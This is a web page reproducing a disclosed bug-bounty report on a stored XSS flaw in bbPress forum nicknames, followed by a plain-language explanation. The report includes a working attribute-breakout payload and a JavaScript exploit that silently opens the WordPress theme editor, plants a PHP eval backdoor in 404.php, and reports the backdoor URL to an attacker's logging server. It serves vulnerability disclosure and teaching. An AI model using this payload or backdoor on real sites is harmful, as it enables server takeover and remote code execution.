Skip to content
XSS Disclosed report Intermediate CVE-2015-5622

[bbPress] Stored XSS in any forum post.

A stored cross-site scripting flaw existed in bbPress forum posts: a user could set a crafted nickname that broke out of an attribute and ran script when the post was edited. An attacker could use this to escalate privileges or, as the author demonstrates, run PHP code on the server.

Igor Sak-Sakovskiy Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 20 days
  • Paid in 20 days
  • Disclosed after 50 days

#Intro: Encouraged by the success of cure53 and their reward, i start the research plugins in your scope. And almost immediately i found critical Stored XSS, which of course leeds to privelege escalation or PHP code execution. This vulnerability doesnt requres "special" preveleges like CVE-2015-5622. To demonstrate how this vulnerability elementary for expluatation i write a XSS to Shell exploit.

#Steps to reproduce the XSS:

  1. Send any message on topic or start new topic.

  2. Edit this message.

  3. Open http://localhost/wordpress/?bbp_user=%YOUR_USER_ID%&edit=1

  4. Edit your "Nickname" to:

    user1"onmouseover="alert(1);remove()"style="position:absolute;left:0;top:0;margin-top:-100%;margin-left:-100%;width:5000px;height:5000px"
    
  5. Change your "Display Name" to new "Nickname", save and return to thread with your message.

#Screenshot: (In attachment)

#XSS to RCE PoC exploit:

	var yourServer = "%Path to your logger%"

	var payload = "<?php eval($_GET['wp']); ?>"+"\n";
	SitePath = document.head.innerHTML.match(/rel=\"pingback\" href=\"(.*?)\/xmlrpc.php\"/m)[1]
	function eas(){ // edit and save
		ov = window.frames.win404.document.getElementById('newcontent').value
		window.frames.win404.document.getElementById('newcontent').value = payload + ov
		document.getElementsByName('win404')[0].setAttribute("onload","");
		window.frames.win404.document.getElementsByName('submit')[0].click()
		((new Image).src=yourServer+"?message=Check your backdoor here: "+SitePath+"/wp-content/themes/"+themeName+"/404.php?wp=phpinfo();")
	}

	function pao(){ // parse and open
		ewin = window.frames.editor.contentWindow || window.frames.contentDocument
		url404 = unescape(ewin.document.getElementById('templateside').getElementsByTagName('a')[0].href)
	        filepar = url404.match(/\?file\=(.*?)\&/m)[1]
		if(filepar.length>10){
			themeName = url404.match(/file\=\/themes\/(.*?)\//m)[1]
		}
		else{
			themeName = url404.match(/theme\=(.*?)$/m)[1]
		}
		var win404 = document.createElement("iframe");
		win404.style.opacity=0
		win404.name = 'win404';
		win404.src = url404
		win404.setAttribute("onload","eas();this.onload=''");
		document.body.appendChild(win404);
	}

	var editor = document.createElement("iframe");
	editor.style.opacity=0
	editor.name = 'editor';
	editor.src = SitePath+"/wp-admin/theme-editor.php";
	editor.setAttribute("onload","pao();this.onload='';");
	document.body.appendChild(editor);

Best regards!

Attachments

bbpress.PNG
bbpress.PNG From the original on HackerOne

The original report as published on HackerOne, by psych0tr1a. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the nickname/display name was inserted into an HTML attribute without proper encoding, allowing an attacker to break out of the attribute and inject event handlers.

Impact

An attacker could run script in the context of other users viewing or editing the post, which the author says leads to privilege escalation or PHP code execution.

What the attacker needed

A forum account able to post

How it was found

  1. Post a message in a topic or start a new topic.
  2. Edit that message.
  3. Open the forum edit URL with your user ID.
  4. Change your nickname to a value that breaks out of the attribute and adds an event handler.
  5. Set the display name to the new nickname, save, and return to the thread.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A forum lets people post messages and set a display name. The site put that display name into a page without properly escaping it, so text typed as a name could be treated as code by the browser. That let an attacker run their own script in another user's browser, and the author chained it to edit theme files and plant a backdoor.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Igor Sak-Sakovskiy

View all

4 more disclosed reports, best first.

More from Automattic

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.